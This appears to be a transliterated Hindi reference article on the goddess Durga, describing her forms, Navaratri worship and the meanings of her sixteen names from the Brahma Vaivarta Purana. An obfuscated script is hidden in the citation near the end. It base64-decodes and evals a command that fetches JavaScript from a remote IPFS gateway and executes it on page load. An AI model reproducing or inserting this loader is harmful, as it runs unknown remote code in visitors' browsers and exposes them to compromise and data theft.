दुर्गा
durga
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| any nam | maan bhagavati, sheroan vali maan |
| janm vivaran | durga asal mean shiv ki patni parvati ka ek roop haian, jisaki utpatti devataoan ki prarthana par rakshasoan ka nash karane ke liye huee thi. |
| prakritik svaroop | 'gauri' arthath shantamay, sundar aur gora roop |
| vishesh | bhagavati durga ki savari sher hai. durga ji ki pooja mean durga ji ki arati aur durga chalisa ka path kiya jata hai. |
| any janakari | devi durga ke svayan kee roop haian. mukhy roop unaka 'gauri' hai arthath shantamay, sundar aur gora roop. unaka sabase bhayanak roop kali hai, arthath kala roop. vibhinn roopoan mean durga bharat aur nepal ke kee mandiroan aur tirthasthanoan mean pooji jati haian. |
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durga parvati ka doosara nam hai. hinduoan ke shakt sampraday mean bhagavati durga ko hi duniya ki parashakti aur sarvochch devata mana jata hai (shakt sampraday eeshvar ko devi ke roop mean manata hai) vedoan mean to durga ka koee zikr nahian hai, magar upanishad mean devi 'uma haimavati' uma, himalay ki putri ka varnan hai. puran mean durga ko adishakti mana gaya hai. durga asal mean shiv ki patni parvati ka ek roop haian, jisaki utpatti devataoan ki prarthana par rakshasoan ka nash karane ke liye huee thi. is tarah durga yuddh ki devi haian. devi durga ke svayan kee roop haian. mukhy roop unaka 'gauri' hai arthath shantamay, sundar aur gora roop. unaka sabase bhayanak roop kali hai, arthath kala roop. vibhinn roopoan mean durga bharat aur nepal ke kee mandiroan aur tirthasthanoan mean pooji jati haian. kuchh durga mandiroan mean pashubali bhi chadhati hai. bhagavati durga ki savari sher hai. durga ji ki pooja mean durga ji ki arati aur durga chalisa ka path kiya jata hai.
navaratr mean devi poojan
hindoo dharm granth puranoan ke anusar mata bhagavati ki aradhana ka shreshth samay navaratr hota hai. bharat mean navaratr ka parv, ek aisa parv hai jo hamari sanskriti mean mahilaoan ke garimamay sthan ko darshata hai. varsh ke char navaratroan mean chaitr, ashadh, ashvin aur magh ki shukl pratipada se navami tak nau din ke hote haian, parantu prasiddhi mean chaitr aur ashvin ke navaratr hi mukhy mane jate haian. inamean bhi devibhakt ashvin ke navaratr adhik karate haian. inako yathakram vasanti aur sharadiy navaratr bhi kahate haian. inaka arambh chaitr aur ashvin shukl pratipada se hota hai. atah yah pratipada ’sammukhi’ shubh hoti hai. [1]
durga ji ke solah nam
brahm vaivart puran se uddhrit:
naradji bole- brahmanh! maianne atyant adbhut sampoorn upakhyanoan ko suna. ab durgaji ke uttam upakhyan ko sunana chahata hooan. ved ki kauthumi shakha mean jo durga, narayani, eeshana, vishnumaya, shiva, sati, nitya, satya, bhagavati, sarvani, sarvamangala, ambika, vaishnavi, gauri, parvati aur sanatani- ye solah nam bataye gaye haian, ve sab ke liye kalyanadayak haian. vedavettaoan mean shreshth narayan! in solah namoan ka jo uttam arth hai, vah sabako abhisht hai. usamean sarvasammat vedokt arth ko ap bataiye. pahale kisane durgaji ki pooja ki hai? phir doosari, tisari aur chauthi bar kin-kin logoan ne unaka sarvatr poojan kiya hai?
shrinarayan ne kaha- devarshe! bhagavanh vishnu ne ved mean in solah namoan ka arth kiya hai, tum use janate ho to bhi mujhase pun: poochhate ho. achchha, maian agamoan ke anusar un namoan ka arth kahata hooan.
durga durga shabd ka padachchhed yoan hai- durg+a. 'durg' shabd daity, mahavighn, bhavabandhan, karm, shok, du:kh, narak, yamadand, janm, mahanh bhay tatha atyant rog ke arth mean ata hai tatha 'a' shabd 'hanta' ka vachak hai. jo devi in daity aur mahavighn adi ka hanan karati hai, use 'durga' kaha gaya hai.
narayani
[[chitr:Durga-Puja.jpg|250px|thumb|left|durga pooja, kolakata
Durga Puja, Kolkata]]
yah durga yash, tej, roop aur gunoan mean narayan ke saman hai tatha narayan ki hi shakti hai. isaliye 'narayani' kahi gayi haian
eeshana
eeshana ka padachchhed is prakar hai- eeshan+a. 'eeshan' shabd sampoorn siddhiyoan ke arth mean prayukt hota hai aur 'a' shabd dataka vachak hai. jo sampoorn siddhiyoan ko dene vali hai, vah devi 'eeshana' kahi gayi hai.
vishnumaya
poorvakal mean srishti ke samay paramatma vishnu ne maya ki srishti ki thi aur apani us mayadvara sampoorn vishv ko mohit kiya. vah mayadevi vishnu ki hi shakti hai, isaliye 'vishnumaya' kahi gayi hai.
shiva
'shiva' shabd ka padachded yoan hai- shiv+a. 'shiv' shabd shiv evan kalyan arth mean prayukt hota hai tatha 'a' shabd priy aur data-arth mean. vah devi kalyanasvaroopa hai, shivadayini hai aur shivapriya hai, isaliye 'shiva' kahi gayi hai.
sati
devi durga sadbuddhi ki adhishthatri devi haian, pratyek yug mean vidyaman haian tatha pativrata evan sushila haian. isiliye unhean 'sati' kahate haian.
nitya
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any sambandhit lekh |
jaise bhagavanh nity haian, usi tarah bhagavati bhi 'nitya' haian. prakrit pralay ke samay ve apani maya se paramatma shrikrishna mean tirohit rahati haian.
[[chitr:Durga-Mathura-Museum-86.jpg|thumb|250px|durga, rajakiy sangrahalay, mathura
Durga, Govt. Museum, Mathura]]
satya
brahmase lekar trin athava kitaparyant sampoorn jagath kritrim hone ke karan mithya hi hai, parantu durga satyasvaroopa haian. jaise bhagavanh saty haian, usi tarah prakritidevi bhi 'satya' haian.
bhagavati
[[chitr:Goddess-Durga-Kolkata.jpg|thumb|left|250px|durga maan ki chhavi, salt lek, kolakata
Image of Goddess Durga, Salt Lake, Kolkata]]
siddh, aishvary adi ke arth mean 'bhag' shabd ka prayog hota hai, aisa samajhana chahiye. vah sampoorn siddh, aishvaryadiroop bhag pratyek yug mean jinake bhitar vidyaman hai, ve devi durga 'bhagavati' kahi gayi haian.
sarvani
jo vishv ke sampoorn charachar praniyoan ko janm, mrityu, jara adi ki tatha mokshaki bhi prapti karati haian, ve devi apane isi gun ke karan 'sarvani' kahi gayi haian.
sarvamangala
'mangal' shabd moksh ka vachak hai aur 'a' shabd dataka. jo sampoorn moksh deti haian, ve di devi 'sarvamangala' haian. 'mangal' shabd harsh, sampatti aur kalyan ke arth mean prayukt hota hai. jo un sabako deti haian, ve hi devi 'sarvamangala' namase vikhyat haian.
ambika
'amba' shabd mata ka vachak hai tatha vandan aur poojan-arth mean bhi 'amb' shabd ka prayog hota hai. ve devi sabake dvara poojit aur vandit haian tatha tinoan lokoan ki mata haian, isaliye 'ambika' kahalati haian. thumb|durga|left|150px vaishnavi
devi shrivishnu ki bhakta, vishnuroopa tatha vishnu ki shakti haian. sath hi srishtakal mean vishnu ke dvara hi unaki srishti huee hai. isaliye unaki 'vaishnavi' sanjna hai.
gauri
'gaur' shabd pile rang, nirlipt evan nirmal parabrahm paramatma ke arth mean prayukt hota hai. un 'gaur' shabdavachy paramatma ki ve shakti haian, isaliye ve 'gauri' kahi gayi haian. bhagavanh shiv sabake guru haian aur devi unaki sati-sadhvi priya shakti haian. isaliye 'gauri' kahi gayi haian. shrikrishna hi sabake guru haian aur devi unaki maya hai. isaliye bhi unako 'gauri' kaha gaya hai.
parvati
'parv' shabd tithibhed (poornima), parvabhed, kalpabhed tatha anyany bhed arth mean prayukt hota hai tatha 'ti' shabd khyati ke arth mean ata hai. un parv adi mean vikhyat hone se un devi ki 'parvati' sanjna hai. 'parvanh' shabd mahotsav-vishesh ke arth mean ata hai. usaki adhishthatri devi hone ke nate unhean 'parvati' kaha gaya hai. ve devi parvat (giriraj himalay)- ki putri haian. parvat par prakat huee haian tatha parvat ki adhishthatri devi haian. isaliye bhi unhean 'parvati' kahate haian.'
sanatani
'sana' ka arth hai sarvada aur 'tani' ka arth hai vidyamana. sarvatr aur sab kal mean vidyaman hone se ve devi 'sanatani' kahi gayi haian.
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tika tippani aur sandarbh
- ↑ chaitr ya vasanti navaratr (hindi) riti d aaut k aaum. abhigaman tithi: 22 march, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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